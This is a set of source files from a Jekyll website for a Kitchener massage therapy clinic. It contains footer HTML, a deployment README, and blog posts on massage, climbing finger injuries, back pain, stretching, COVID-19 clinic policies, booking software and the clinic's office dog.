--> <!-- <div class="testimonial bottommargin-sm"> <a href="https://www.cmto.com/" target="_blank" title="College of Massage Therapists of Ontario"><img alt="College of Massage Therapists of Ontario" class="attachment-200x105" style="max-width: 100%;" src="https://www.kwmassage.com/assets/images/cmto-logo.jpg"></a> </div> --> <!-- RMTAO Logo --> <!-- not a succure site - remove until --> <!-- <div class="testimonial bottommargin-sm"> <a href="http://www.rmtao.com/" target="_blank" class="widget_sp_image-image-link" title="Registered Massage Therapists Association of Ontario"><img alt="Registered Massage Therapists Association of Ontario" class="attachment-full" style="max-width: 100%;" src="https://www.kwmassage.com/assets/images/rmtao_logo_english_lead.gif"></a> </div> </div> </div> </div> <!-- .sidebar end --> </div> </div> </section> <!-- #page-title and content end --> <!-- Footer --> <!-- <footer id="footer" class="dark"> --> <footer id="footer" class="dark" style="background: url('https://www.kwmassage.com/images/footer-bg.jpg'); background-size: 100% 100%;"> <div class="container clearfix"> <div class="footer-widgets-wrap"> <!-- Contact Form --> <div class="col_one_third"> <div class="widget quick-contact-widget"> <h4>Send Message</h4> <div id="footer-contact-form-result" data-notify-type="success" data-notify-msg="<i class=icon-ok-sign></i> Message Sent Successfully!"></div> <form id="footer-contact-form" name="footer-contact-form" action="https://formspree.io/<EMAIL>" method="post" class="nobottommargin"> <div class="form-process"></div> <div class="input-group divcenter"> <span class="input-group-addon"><i class="icon-user"></i></span> <input type="text" class="required form-control input-block-level" id="footer-contact-form-name" name="footer-contact-form-name" value="" placeholder="<NAME>" /> </div> <div class="input-group divcenter"> <span class="input-group-addon"><i class="icon-email2"></i></span> <input type="text" class="required form-control email input-block-level" id="footer-contact-form-email" name="footer-contact-form-email" value="" placeholder="Email Address" /> </div> <textarea class="required form-control input-block-level short-textarea" id="footer-contact-form-message" name="footer-contact-form-message" rows="4" cols="30" placeholder="Message"></textarea> <input type="text" class="hidden" id="footer-contact-form-botcheck" name="footer-contact-form-botcheck" value="" /> <button type="submit" id="footer-contact-form-submit" name="footer-contact-form-submit" class="btn btn-danger fright nomargin" value="submit">Send Email</button> </form> <!-- <script type="text/javascript"> $("#footer-contact-form").validate({ submitHandler: function(form) { $(form).animate({ opacity: 0.4 }); $(form).find('.form-process').fadeIn(); $(form).ajaxSubmit({ target: '#footer-contact-form-result', success: function() { $(form).animate({ opacity: 1 }); $(form).find('.form-process').fadeOut(); $(form).find('.form-control').val(''); $('#footer-contact-form-result').attr('data-notify-msg', $('#footer-contact-form-result').html()).html(''); SEMICOLON.widget.notifications($('#footer-contact-form-result')); } }); } }); </script> to revert back to php mailer incert: /include/footercontact.php in the form action --> </div> </div> <!-- End Contact Form --> <div class="col_two_third col_last"> <div class="widget clearfix"> <img src="https://www.kwmassage.com/assets/images/Kitchener_massage_logo.png" alt="Kitchener Registered Masage Therapist Logo Large" class="alignleft" style="margin-top: 8px; padding-right: 18px; border-right: 1px solid #4A4A4A;"> <div class="line" style="margin: 30px 0;"></div> <div class="col_one_third"> <!-- Facebook Badge --> <a href="https://www.facebook.com/KWmassage?ref=hl" class="social-icon si-dark si-facebook" data-action="like" data-show-faces="false" data-share="true"> <i class="icon-facebook"></i> <i class="icon-facebook"></i> </a> <!-- Google+ badge --> <a href="https://plus.google.com/u/0/+JeremyBissonnette?rel=author" class="social-icon si-dark si-gplus"> <i class="icon-gplus"></i> <i class="icon-gplus"></i> </a> </div> <div class="col_one_third fright col_last"> <div style="text-align: right" class="widget subscribe-widget clearfix"> <h5 style="margin: 0">351 Carson Drive</h5> <h5 style="margin: 0">Kitchener, Ontario</h5> <!-- <h5 style="margin: 0">Telephone: <strong>(519)745-4112</strong></h5> --> <h5 style="margin: 0">Email: <strong><a href="mailto:<EMAIL>"><EMAIL></a></strong></h5> </div> </div> </div> </div> </div> </div> <!-- Copyrights ============================================= --> <div id="copyrights" class="dark"> <div class="container clearfix"> <div class="col_full nobottommargin center"> <div class="copyrights-menu copyright-links clearfix"> <a href="https://www.kwmassage.com/index.html">Home</a>/<a href="https://www.kwmassage.com/about/index.html">About</a>/<a href="https://www.kwmassage.com/clinic-information/index.html">Appointments</a>/<a href="https://www.kwmassage.com/contact/index.html">Contact</a>/<a href="https://www.kwmassage.com/knowledge-centre/index.html">Knowledge Center</a> </div> Copyrights &copy; 2015 All Rights Reserved by <strong>KWmassage</strong> </div> </div> </div> <!-- #copyrights end --> </footer> <!-- Footer end --> </div> <!-- Footer Scripts ============================================= --> <script type="text/javascript" src="https://www.kwmassage.com/js/functions.js"></script> </body> </html> <file_sep>/_posts/2016-03-16-massage-therapist-in-kitchener-waterloo.md --- layout: post title: "Massage Therapists in Kitchener and Waterloo " date: 2016-03-16 15:19:19 category: generalmassagetherapy slug: massage-therapist-in-kitchener-waterloo post_id: 320 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy --- <p>You might have noticed that there are over 300 <a href="https://www.google.ca/maps/place/Kitchener+Massage+Therapy/@43.4607924,-80.4512195,17z/data=!3m1!4b1!4m5!3m4!1s0x882bf4946918d4f9:0x3b65b74844c27bd2!8m2!3d43.4607924!4d-80.4490308" target="_blank">Registered Massage Therapists </a>in the Kitchener- Waterloo area. This is due mainly to the fact that one of the major massage therapy schools, the <a href="https://www.collegeofmassage.com/cambridge/">Canadian College of Massage and Hydrotherapy </a>is located in Kitchener. This high volume of massage therapists means higher competition between massage therapists. It also means higher levels of service for you, the massage therapy client. <a href="{{site.url}}/about/index.html">Your massage therapist </a>needs to be good to stand out and attract clients. </p> <p>With so many registered Massage Therapists in Kitchener-Waterloo, there is no reason you shouldn’t be 100% happy with yours. Don’t be discouraged and don’t feel obligated to rebook or go back if you’re not happy with your new massage therapist. When you are happy, your therapist will appreciate the loyalty.</p> <p>There are many therapists trying to set themselves apart from the others by learning and using new styles of <a href="{{site.url}}/clinic-information/index.html">massage therapy</a>. There are a lot of styles available for a massage therapist to learn, some of these more effective than others. Don’t be surprised to find your new massage therapist practicing a technique you weren’t expecting. This is fine; for every massage therapy client there is a massage therapist and a different style of massage.</p> <p>Since there are over 300 massage therapist in Kitchener and Waterloo, <a href="{{site.url}}/contact">don’t be afraid to try a new one</a>. Do your research, check out massage therapists online, read reviews on <a href="https://www.yelp.ca/biz/kitchener-massage-therapy-kitchener">Yelp</a>, <a href="https://www.linkedin.com/profile/edit?trk=hb_tab_pro_top">LinkedIn</a>, <a href="https://www.facebook.com/pages/KWmassage/354131367967709">FaceBook</a> and <a href="https://maps.google.ca/maps/place?rlz=1I7DDCA_en&amp;oe=UTF-8&amp;redir_esc=&amp;um=1&amp;ie=UTF-8&amp;q=kitchener+massage+therapy&amp;fb=1&amp;gl=ca&amp;hq=massage+therapy&amp;hnear=Kitchener,+ON&amp;cid=4280028541904649170&amp;ei=R2DATcqiM4WltwfcjeWxBQ&amp;sa=X&amp;oi=local_result&amp;ct=map-marker-link&amp;resnum=1&amp;ved=0CEAQrwswAA">Google Places</a>, call around and ask <a href="{{site.url}}/generalmassagetherapy/what-is-deep-tissue-massage">what type of massage </a>a potential therapist offers. See if they have experience dealing with what you need help with most. Personality also goes a long way, though I think you will find most massage therapist are easy to get along with.</p> <file_sep>/_posts/2014-01-16-rock-climbing-as-a-life-style.md --- layout: redirect title: "Rock Climbing as a Lifestyle" date: 2014-01-16 15:07:30 slug: rock-climbing-as-a-life-style redirect_url: about/rock-climbing-as-a-lifestyle/ meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, climbing, rock climbing, climbing injury, climbing life style --- <file_sep>/_posts/2016-01-16-rock-climbers-and-our-fingers.md --- layout: post title: "Rock Climbers and Our Fingers " date: 2016-01-16 15:32:11 category: rock_climbing slug: rock-climbers-and-our-fingers post_id: 324 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, climbing injury, finger injury, --- <p>Our fingers are some of our smallest extremities. <a title="Rock Climbing Articles" href="{{site.url}}/knowledge-centre/rock-climbing/index.html" >Rock climbers</a> put tremendous strain on their fingers, which can encourage an injury. It’s important to understand the anatomy of the hand and fingers to see what we can do to decrease the risk of climbing injury, and to also have a look at what to do if a finger injury happens. </p> <p>Our fingers have no muscles, and our hands only have small muscles meant for fine, controlled movement; those hand muscles aren't meant for the powerful explosive force needed for <a title="Rock Climbing as a Lifestyle" href="{{site.url}}/about/rock-climbing-as-a-lifestyle/index.html">rock climbing</a>. The energy needed for rock climbing comes from the forearms instead. Tendons run from the strong muscles in our forearms, through the wrists and the fingers, to supply the power needed to climb.</p> <p>After the tendons pass through the wrist and hand, they run through ligaments in our fingers called annular ligaments. Annular ligaments redirect the pull of the tendons to move our fingers. These ligaments are like the guides on a fishing pole that bend a rod when force is applied to the end of the fishing line. It’s the A2 and the A3 annular pulleys of your index, middle, and ring finger that are the most prone for damage when climbing. When griping with and open hand grip, there is very little pressure put on the pulleys in the fingers. When griping with a crimping grip, the fingers are put in danger. When people start to climb, it can feel like there’s more strength using a crimp position. With practice, an open hand grip will feel more comfortable and strong. When you are climbing at your max, trying to get up a climb beyond your limits (which I strongly recommend you do to increase your skill), you will come across holds that you just need to crimp.</p> <p>When you come across a hold you just can’t get with an open hand grip, try to use a grip half way between a crimp an open hand. When in a full crimp grip you can take a little force off your tendons and ligaments in your finger by placing your thumb on top of your index finger to add a little extra strength and support.</p> <p>It takes a long time to develop climbing skill. Some people will start out doing 5.8 and 5.9 while others will start with 5.4 and 5.5. No matter where you start, anyone can end up climbing the 5.11’s and 5.12’s, it just takes time, effort, and patience. Regardless of how long you have been climbing or your skill level, your muscles will develop strength faster than your tendons and ligaments. You can easily increase your climbing power in a few months to a level that your ligaments and tendons can’t handle, which can lead to tendinitis, sprains, pulley injuries, and many other very uncomfortable problems that will put your climbing on hold.</p> <p>So take your time. Train hard but be smart. Push your limits but not all day. Once you start feeling pain in your fingers, go down a grade or two or stop your session and stretch out. Don’t keep pulling on that crimp over and over again; you can come back to it in a few days.</p> <file_sep>/_posts/2014-03-01-what-can-deep-tissue-massage-treat.md --- layout: post title: "What Can Deep Tissue Massage Therapy Treat" date: 2014-03-01 category: generalmassagetherapy slug: what-can-deep-tissue-massage-treat meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy --- <p>Deep tissue massage can treat man things, including: </p> <p> <ul class="leftmargin"> <li>Arthritis</li> <li><a href="{{site.url}}/generalmassagetherapy/back-pain-and-how-to-massage-at-home/index.html">Back pain</a></li> <li>Carpal tunnel syndrome</li> <li>Chronic pain</li> <li>Compression syndromes</li> <li>Contractures</li> <li>Cramps</li> <li><a href="{{site.url}}/generalmassagetherapy/degenerative_disc_disease/index.html">Degenerative disc disease(DDD)</a></li> <li>Dislocations</li> <li>Dupuytrens' contracture</li> <li>Fibrositis and fibrosis</li> <li>Foot/plantar fasciitis/ples planus - flat foot fractures</li> <li>Frozen shoulder</li> <li><a href="{{site.url}}/generalmassagetherapy/tension-headaches-3/index.html">Headache / Migraine</a></li> <li>Herniated disc</li> <li>Iliotibial band contracture</li> <li>Jaw pain/TMJ</li> <li>Knee injury</li> <li><a href="{{site.url}}/generalmassagetherapy/low-back-pain/index.html">Low Back Pain</a></li> <li>Muscle spasms/ strain rehabilitation</li> <li>Neck pain/ torticollis</li> <li>Osteoarthritis/ rheumatoid arthritis</li> <li>Plantar fasciitis</li> <li>Postural disorders / scoliosis</li> <li>Pre / post-surgical and post-injury rehabilitation</li> <li>Relief of pain</li> <li>Repetitive strain injuries</li> <li>Scars</li> <li>Sciatica</li> <li>Sports injuries</li> <li>Sprains/strains / ligament and joint athletic injuries</li> <li>Stiff joints</li> <li>Tendonitis/ bursitis/neuritis</li> <li>Thoracic outlet syndrome</li> <li>Whiplash disorders WAD</li> </ul> </p> <file_sep>/_posts/2020-05-30-covid-19.md --- layout: post title: "Covid-19" date: 2020-05-30 category: generalmassagetherapy slug: covid-19 post_id: 359 --- <p>As many of you are already aware, restrictions were lifted earlier this week by our Provincial government for medical practitioners in healthcare fields such as Physiotherapy, Chiropractic, and Massage Therapy to allow us to reopen our practices. I will be slowly reopening my practice starting on June 8th.</p> <p>Overall public safety is of utmost importance to all of us. I have thoroughly reviewed new policies and procedures that have been put into place by the College of Massage Therapists of Ontario(CMTO) and the Ontario government, in order to keep everyone safe through these changing times. Based on these regulations new clinic policies have been put into place:</p> <ul style="margin-left: 60px"> <li>I will wear a clean disposable surgical quality mask throughout the entire treatment</li> <li>You will be required to come to the appointment wearing a clean disposable or reusable mask to be worn throughout the treatment. If you don’t have an appropriate face covering available, I will be able to provide one upon request</li> <li>You will be required to conduct a self screening for Covid-19 before coming to the clinic by using the Ontario government's Covid-19 self assessment tool, I will conduct a second screening immediately prior to treatment</li> <li>Hand disinfectant and a hand washing station will be available please disinfect your hands when you arrive and before you leave</li> <li>You should arrive alone (where possible) and as close to your appointment time as possible. If you arrive more than 5 minuts early, please stay in your car or wait outside</li> <li>I will maintain a roster of all people entering the space (including their name and phone number) to assist with contact tracing if required, ensuring client confidentiality is maintained</li> <li> I will maintain and document a cleaning schedule above and beyond my regular cleaning schedule <ul style="margin-left: 30px"> <li>High touch surfaces including but not limited to: doorknobs, light switches, washrooms including toilet handles, counters, handrails, arm rests, and electronics</li> <li>Extra care and attention will given to the massage table and face cradle</li> </ul> </li> </ul> <p>I have a long list of canceled appointments due to Covid-19 state of emergency. I have been and will continue to contact each one of these people directly to find a new appointment time. If I have not had the chance to reach out to you yet, please don't hesitate to contact me. I will need to prioritize appointments based on severity and condition and the time frame that the last appointment was scheduled.</p> <p>If you feel you pass <a href="https://covid-19.ontario.ca/self-assessment/">preliminary pre-screening</a> against Covid-19, please use the <a href="https://www.kwmassage.com/clinic-information/index.html" title="potcake place">online scheduling tool</a> or contact me directly by phone (519)745-4112 or <a href="mailto:<EMAIL>">email</a> to make an appointment. I look forward to getting back to work and seeing all of you soon.</p> <p>If you have any questions or concerns don't hesitate to contact me directly or visit the <a href="https://www.cmto.com/covid-19/">CMTO's website</a> or the <a href="https://www.canada.ca/en/public-health/services/diseases/coronavirus-disease-covid-19.html">Government of Ontario Coronavirus</a> website.</p> <file_sep>/_posts/2015-12-16-epsom-salt-bath.md --- layout: post title: "Epsom Salt Bath " date: 2015-12-16 17:47:46 category: generalmassagetherapy slug: epsom-salt-bath post_id: 357 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, --- <p>Because of the high magnesium content, Epsom salts bath can be helpful any time you are suffering from<a href="{{site.url}}/generalmassagetherapy/what-can-deep-tissue-massage-treat/index.html"> muscle achiness or strain</a>. Please set aside 40 minutes and run a full bath, the temperature of the water should be as hot as you can comfortably tolerate (though please do not exceed 40 degrees Celsius). Place the Epsom salt bath crystals into the water and spend at least 20 minutes soaking and relaxing. </br></br> Keeping your neck and shoulder in the water as much as possible will allow the salts to work directly on the problematic muscles. This is also a great time to enjoy a glass of cold water.</p> <p>If you have a diagnosed heart condition or are over the age of 50, please moderate the water temperature and avoid submerging yourself in hot water above the heart. If you have any concerns about whether a hot Epsom salt bath will affect you adversely, please contact your family physician before using an Epsom salts bath.</p> <file_sep>/_posts/2015-02-16-low-back-pain.md --- layout: post title: "Low Back Pain" date: 2015-02-16 20:13:15 excerpt_separator: "Low back pain is no laughing matter but Massage Therapy and regular stretching can help." excerpt: "Low back pain is no laughing matter. Whether it is due to a sports injury, bad posture, or a repetitive strain injury at work, most of us, at one point in time, have had low back pain. No matter what the cause, low back pain is a disruption to our lives." category: generalmassagetherapy slug: low-back-pain post_id: 272 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, back pain, pain , low back pain --- <p>Low back pain is no laughing matter. Whether it is due to a sports injury, bad posture, or a repetitive strain injury at work, most of us, at one point in time, have had low back pain. No matter what the cause, low back pain is a disruption to our lives. It can be a constant dull ache that never goes away, or a sharp piercing pain that stops us from normal function in our lives. </p> <p>A worst case scenario would be a disc herniation. This will cause sharp pain in the low back, shooting pain down the back of the legs, and muscle weakness. A disc herniation is most often caused by lifting heavy objects improperly. The most frustrating thing about a disc herniation is that it will not heal on its own. Though a disc herniation is permanent, the pain can be managed quite well with a combination of regular exercise, <a href="{{site.url}}/clinic-information/index.html">massage therapy treatments</a>, chiropractic treatments, acupuncture treatments, and other alternative health care treatments.</p> <p>Often, that sharp localized pain in the low back is a facet joint compression. The facet joints are the small joints on either side of the spine between every spinal junction. An excessive backward bend or twist can compress or irritate these sensitive joints causing sharp pain. When one of these joints gets compressed, it can be very difficult to release these joints as the muscles around the joint will go into spasm holding the joint tight in its compressed position. It is very helpful to have a series of <a href="{{site.url}}/clinic-information/index.html">massage therapy </a>and chiropractic treatments to help correct this condition.</p> <p>Deep dull pain is often associated with muscle dysfunction. There are many common ways that muscles will create pain. <a title="Trigger Points and Trigger Point Therapy" href="{{site.url}}/generalmassagetherapy/trigger-points-and-trigger-point-therapy/index.html">Trigger Points (TRP)</a>, scar tissue, spasms, and hypertonicity are the most common muscle dysfunctions that I see in my massage therapy <a title="clinic" href="{{site.url}}/clinic-information/index.html">clinic</a>.</p> <p>All of these muscle dysfunctions are created by chronic repetitive actions, and these actions are especially harmful when the body is out of alignment or in an imbalanced position. People perform repetitive actions every single day, and sometimes without even realizing it:</p> <ul class="leftmargin"> <li>moms carrying children on one hip</li> <li>manufacturing workers repetitively bending or twisting</li> <li>painters repeating the same brush or roller strokes</li> <li>construction labourers digging, hammering, or lifting</li> <li>office workers seated at a desk all day</li> </ul> <p>Though we try to do our best to stay in shape, the rigors of daily life can get to be too much for our bodies and minds. <a href="{{site.url}}/about/testimonials/index.html">Regular massage therapy treatments</a> can help deal with muscle tension build up. <a href="{{site.url}}/stretching/general-guidelines-for-stretching/index.html">Regular stretching</a> and exercising are very good ways to help keep our muscles healthy and free of pain. Walking, rock climbing, and yoga are my favourite ways to keep my muscles and joints healthy.</p> <file_sep>/_posts/2015-01-01-generalmassagetherapy.md --- layout: redirect title: "General Massage Therapy" date: 2015-01-01 slug: generalmassagetherapy redirect_url: knowledge-centre/general-massage-therapy/ meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy ---<file_sep>/_posts/2014-02-16-a-new-way-to-make-a-kw-massage-therapy-appointment.md --- layout: post title: "A New Way to Make a KW Massage Therapy Appointment" date: 2014-02-16 17:45:20 category: generalmassagetherapy slug: a-new-way-to-make-a-kw-massage-therapy-appointment post_id: 401 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy --- <p>I am making another change to the way I do business. I have registered <a href="{{site.url}}/index.html">KWMassage</a> for a <a title="Book with KW Massage Online" href="https://kwmassage.cliniko.com/bookings#service" target="_blank">CliniKo.com</a> account. Cliniko will allow me to take appointments online, control my schedule, record clinical notes, write receipts for my services and do my bookkeeping all within the same software system. The only change you will notice is the online scheduler will look and operate a little different and hopefully you will get better service. </p> <p>Now instead of using Schedulicity to make and change appointments on my website you will be using Cliniko. I will replace the schedulicity software widget on the KWmassage website with the <a href="{{site.url}}/clinic-information/index.html">Cliniko widget</a> so you will still have access to my calendar from the same location on the KWmassage website. There are only a few differences between the two systems. First Cliniko does not require you to have and remember a user name and password. You will now have to enter you name, date of birth and contact info instead. Cliniko will then match you to an existing client account or create a new one for you. The only drawback to Cliniko is that it will not enable you to cancel appointments yourself; you will need to contact me via email, text or phone. In the event that you want to change an appointment, simple make the new appointment then message me to delete the old one. I recognize that this may be a small inconvenience to some but hopefully not having to remember a user name and password and the huge improvement in my usability will be enough to balance this out. You will continue to get email reminders of your massage appointments from Cliniko.</p> <p>Previously I used Outlook for communications and contact management, QuickBooks for receipts and bookkeeping, Business contact manager for clinical notes and Schedulicity for calendar and online appointments. Having four different programs managing four different aspect of information for one client was very redundant and cumbersome. I was doing a lot of quadruple entry, not only was this time consuming but it also created space or errors in data input. As well it certainly was not encouraging to stay on top of my paperwork.</p> <p>My goal is to allow Cliniko to help me be more efficient, more accurate, more detailed and timelier with your clinical notes. This will make it easier for me to stay up to date and informed with your health history and offer you better care.</p><file_sep>/_site_production/README.txt *** This is an adaptation of the original KWmassage.com WordPress website. Jekyll is now used to generate a static version of the website, ./lib/massage_importer.rb was written to import data into the new jekyll site from the ./lib/kwmassage_export.xml file. *** * to run locally 'bundle exec jekyll serve' * to build locally without local server 'bundle exec jekyll build' Deployment - Stage * build stage site: bundle exec jekyll serve --config _config_production.yml * Minify: change const SITE to ../kwmassage-stage', gulp min * push to gh-pages: cd ../kwmassage-stage, git push origin gh-pages Deployment - Production * build production site: bundle exec jekyll build --config _config_production.yml * Minify: change const SITE to '_site_production', gulp min * Compress: cd .../rails_dev/, tar -zcvf kwmassage_2020_06_15.tar.gz kwmassage/_site_production ** DONT FORGET TO CONFIRM ANY FORMSPREE FORMS FOR NEW PAGES OR POSTS Created **<file_sep>/_posts/2017-07-17-the-weather-does-make-our-muscles-stiff.md --- layout: post title: "Does the Weather Make our Muscles Stiff? " date: 2017-07-17 category: generalmassagetherapy slug: the-weather-does-make-our-muscles-stiff post_id: 355 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, --- <p>It’s May 16th and the weather in the Kitchener, Waterloo has been miserable. We had a few weeks of warmish weather but now we are right back to cold and rainy. You might ask why a <a href="{{site.url}}/">massage therapist </a>would care about the weather. It’s been good for business, that’s why I care. Our muscles get tight and stiff, old pains come back to the surface, and new ones come out. When this happens, we need to see our massage therapist. </p> <p>Our body’s main mechanism to create or retain heat is to increase our metabolism (the amount of food energy we burn). Our body does this by contracting our muscles. Notice how your shoulders rise up to your ears when you walk outside on a cold day without your jacket. Your legs, back, neck, shoulders, and all the muscles in your body will do this. This increase in muscle tension will increase stress on your joints, pull your body out of alignment, and create muscle imbalances. With this added stress to your body, many symptoms like<a href="{{site.url}}/stretching/stretch-your-upper-trapezius-muscle/index.html"> neck pain</a>, <a href="{{site.url}}/stretching/low-back-pain/index.html">back pain</a>, <a href="{{site.url}}/generalmassagetherapy/tension-headaches-3/index.html">headaches</a>, and muscle achiness surface.</p> <p>Seeing your massage therapist will help decrease this muscle tension and correct your muscle imbalances.</p> <file_sep>/_posts/2016-06-08-stretch-your-upper-trapezius-muscle-2.md --- layout: post title: "Stretch Your Upper Trapezius Muscle" date: 2016-06-08 category: stretching slug: stretch-your-upper-trapezius-muscle-2 post_id: 244 --- <p>To <a href="{{site.url}}/stretching/general-guidelines-for-stretching/index.html">stretch</a> your <a href="{{site.url}}/generalmassagetherapy/tension-headaches-3/index.html">Upper Trapezius Muscle, </a>begin in a seated position.With your shoulders relaxed and your head in a natural position, carefully bend your neck to bring your right ear toward your right armpit. If more pressure is needed to feel the <a href="{{site.url}}/stretching/general-guidelines-for-stretching/index.html">stretch</a>, you can use your right hand to gently pull from the side of your head just above your left ear toward your right armpit.</p> <p>Be careful not to allow your left shoulder to rise, as this will prevent the muscle from lengthening into a stretched position. Repeat on the other side.</p> <p><a href="{{site.url}}/wp-content/uploads/2014/01/up-trap-stretch-picture.jpg"><img class="fleft rightmargin-sm leftmargin-sm" alt="Stretch Upper Trapizius Muscle" src="{{site.url}}/wp-content/uploads/2014/01/up-trap-stretch-picture.jpg" width="195" height="140" /></a>Be sure to review to my <a href="{{site.url}}/stretching/general-guidelines-for-stretching/index.html">General Guidelines for stretching </a>before doing any of the stretches I demonstrate and recommend. It’s always a good idea to see a <a href="{{site.url}}/generalmassagetherapy/governance-of-massage-therapy/index.html">health care professional </a>before starting a new exercise program.</p><file_sep>/_posts/2020-02-26-maziey_the_office_dog.md --- layout: post title: "Maziey The Office DOg" date: 2020-02-26 category: generalmassagetherapy slug: officedog post_id: 358 --- <p>Maziey is an 8 month old puppy(as of May 2020). We adopted her as a family pet and office dog, December of 2019. She is very adorable, very well behaved for her age and a gentle soul. </p> <img class="fleft rightmargin-sm leftmargin-sm" width="191" height="169" alt="Maziey1" src="{{site.url}}/assets/images/maizey1.jpg"/> <p>Maziey was adopted as a rescue from the Island of Bahamas. After hurricane Dorian(August 28th, 2019) many of the island dogs were rescued by an animal shelter, <a href="http://www.potcakeplace.com/" title="potcake place">The PotCake Place</a>. When Maziey was found on the streets she was malnourished, completely bald and had rickets. After being nursed back to health she was vaccinated, put on an airplane to canada then eventually landed in my family's home. Despite her early hardships she is a loving and kind puppy. Though she is still a little timid, which we are helping her work through. </p> <img class="fright rightmargin-sm leftmargin-sm" width="321" height="138" alt="Maziey2" src="{{site.url}}/assets/images/maizey2.jpg"/> <p>One of my hope’s for Maziey is for her to be a massage therapy room office dog and spend some of her day by the fireplace like our old cat Elliott would before he passed away. She is also being crate trained so that when the therapy room isn't an option for her she can be upstairs safely by herself. Her training is coming along very well but she is still young and I can’t expect perfect behaviour yet. </p> <img class="fright rightmargin-sm leftmargin-sm" width="403" height="190" alt="Maziey3" src="{{site.url}}/assets/images/maizey3.jpg"/> <p>I find her to be surprisingly smart, she is learning all the basic commands quickly, as well as many tricks. She has completed her level one obedience training and is scheduled for level two next month. We hope to complete level four eventually and then apply for therapy dog status. At the moment she is being taught to greet people nicely at the front door. Door greeting is coming along nicely but one thing everyone can help me with now is to turn your back to her if she jumps up on you as you come in the door, once she sits nicely you can greet her in anyway you like. </p> <img class="fleft rightmargin-sm leftmargin-sm" width="184" height="176" alt="Maziey4" src="{{site.url}}/assets/images/maizey4.jpg"/> <p>I want everyone know Maziey will be here in case you have allergies to dogs. Also if you have a fear, dislike or phobia of dogs please let me know before any upcoming massage appointments and I will make sure she is nestled upstairs in her kennel safely before you get here, I will completely understand.</p> <p>If you have any questions or concerns Please let me know. Otherwise Maziey and I will look forward to seeing you soon.</p> <file_sep>/_posts/2015-12-01-rock-climbing-as-a-life-style.md --- layout: redirect title: "Rock Climbing as a Life Style" date: 2014-01-16 15:32:11 category: rock_climbing slug: rock-climbing-as-a-life-style redirect_url: about/rock-climbing-as-a-lifestyle/ ---<file_sep>/_posts/2014-01-16-why-does-jeremy-choose-to-practice-deep-tissue-massage.md --- layout: post title: "Why does Jeremy choose to practice Deep Tissue Massage? " date: 2014-01-16 15:57:06 category: generalmassagetherapy slug: why-does-jeremy-choose-to-practice-deep-tissue-massage post_id: 334 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy --- <p>With so many types of massage to provide to clients, why do I choose to provide <a href="{{site.url}}/generalmassagetherapy/what-is-deep-tissue-massage/index.html">Deep Tissue Massage</a>? The short answer is because <a href="{{site.url}}/generalmassagetherapy/what-is-deep-tissue-massage/index.html" target="_self">Deep Tissue </a>is the style of massage that I get done on myself and it works for me. It is a straight-forward style of massage where you can <a href="{{site.url}}/generalmassagetherapy/does-deep-tissue-massage-heart/index.html">feel the work being done</a> and tell that it will make a difference right away. </p> <p>Before I became a massage therapist, I was a <a href="{{site.url}}/clinic-information/index.html">massage therapy client</a>. Even before I started studying massage at the <a href="https://collegeofmassage.com/cambridge/">Canadian College of Massage and Hydrotherapy in Kitchener, </a>I was seeing <NAME>, a Deep Tissue massage therapist in Kitchener. I got great results with the work Kevin did on me. In fact, Kevin is part of the reason that I became a massage therapist and has been a mentor to me ever since (though I don’t think he realizes it). Any time I have injured my back or neck at work, rock climbing, playing with the kids, or working in the backyard, Kevin has been there for me. I can’t see myself wanting to do anything for my clients other than what Kevin does for me. I am a <a href="{{site.url}}/about/index.html">deep tissue therapist </a>and a deep tissue massage client because it works for me and for my <a href="{{site.url}}/clinic-information/index.html">clients</a>.</p> 